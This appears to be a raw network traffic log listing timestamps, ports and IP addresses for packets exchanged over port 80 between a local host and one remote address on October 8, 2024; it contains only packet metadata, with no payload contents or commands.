Oct 8, 2024 22:32:09.160099983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160131931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160145998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160165071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160176039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160198927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160209894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160234928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160242081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160269022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160295010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160301924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160312891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160336971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160347939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160372019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160387039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160407066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160417080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160440922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160454035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160475016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160485983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160510063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.160522938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.160561085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161058903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161093950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161107063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161127090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161139965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161163092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161174059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161197901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161206007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161232948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161242962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161267996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161278963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161302090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161310911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161344051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161350965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161386013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161396980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161418915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161431074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161454916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161464930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161488056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161494970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161525011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161539078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161559105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.161567926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.161667109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.207988977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208043098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208076954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208110094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208143950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208153963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208178043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208180904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208198071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208214045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208229065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208265066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208357096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208389997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208404064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208422899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208430052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208457947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208470106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208503008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208509922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208544970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208555937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208578110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208595991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208606005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208623886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208652020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208657980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208726883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208730936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208772898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208780050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208832979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208842993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208877087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208890915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208918095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208928108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208964109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.208971977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.208998919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209007025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209033012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209042072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209067106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209073067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209100962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209108114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209137917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209144115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209181070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209186077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209219933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209230900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209252119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209264994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209285975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209302902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209330082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209336996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209371090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209383011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209403992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209414959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209439039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209449053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209482908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209491968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209526062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209536076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209562063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209568977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209597111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209605932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209630013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209640026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209664106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209671021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209697008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209705114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209733009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209752083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209803104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209836960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209849119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209871054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209881067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209906101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209917068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209940910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209952116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.209975958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.209985018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210010052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210021019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210055113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210062981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210098028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210108042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210130930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210141897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210165977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210175037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210200071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210208893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210237026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210246086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210272074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210280895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210305929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210339069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210346937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210371017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210372925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210392952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210403919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210414886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210438967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210448980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210473061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210483074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210508108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210516930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210544109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210551977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210577965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210587025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210613012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210622072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210647106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210656881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210680962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210691929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210716009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210727930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210753918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210758924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210791111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.210797071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.210834980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.259963036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.264879942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490061045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490129948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490185976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490220070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490247011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490256071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490283966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490291119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490314007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490326881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490336895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490374088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490381002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490420103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490432024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490453959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490463972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490489006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490499020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490525007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490535021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490565062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490567923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490608931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490612984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490647078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490653992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490679979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490689993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490715027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490724087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490752935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490763903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490787983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490797043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490823030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490832090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490859985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490866899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490895033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490900993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490930080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490937948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.490964890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.490972042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491000891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491009951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491035938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491067886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491089106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491097927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491102934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491117954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491148949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491164923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491199017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491205931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491234064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491241932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491271019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491281986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491316080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491410017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491461992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491489887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491524935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491539955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491560936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491569996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491596937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491605997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491631031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491641045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491667032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491673946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491703987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491713047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491739988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491749048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491775990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491791964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491810083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491820097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491846085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491856098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491884947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491889000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491919041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491930008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491955042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491964102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.491988897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.491998911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492023945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492039919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492057085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492067099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492100000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492101908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492136955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492147923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492172003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492198944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492207050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492211103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492252111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492261887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492295980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492305040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492336035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492362022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492367983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492383003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492412090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492419958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492455959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492464066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492490053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492500067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492525101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492536068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492558956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492567062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492594004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492602110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492628098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492644072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492662907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492671013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492700100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492713928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492736101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.492743015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.492769957 CEST	80	49704	185.215.113.37	192.168.2.5
